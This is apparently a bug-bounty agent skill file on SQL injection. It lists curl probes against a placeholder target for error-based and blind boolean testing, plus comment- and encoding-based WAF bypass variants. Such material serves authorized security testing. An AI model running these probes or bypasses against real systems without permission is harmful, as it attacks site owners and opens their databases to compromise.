attack-sqli
SQL injection — error-based, blind, and WAF-evading payloads for MySQL/MSSQL/Oracle
SKILL.md.bountyreaper/skill/attack-sqli/SKILL.md
GitHubSQL Injection
Objective
Exploit SQL injection via error, blind, and WAF bypass techniques.
Attribution: Methodology from KathanP19/HowToHunt — SQLi (171 lines). Licensed GPL-3.0.
Testing Methodology
# Basic test
curl "https://target.com/item?id=1'" | grep -i "sql\|syntax"
curl "https://target.com/item?id=1 and 1=1" # true
curl "https://target.com/item?id=1 and 1=2" # false (blind)
# WAF bypass (from WAF_Bypasses supplement)
curl "https://target.com/item?id=1/**/and/**/1=1"
curl "https://target.com/item?id=1%20and%201=1"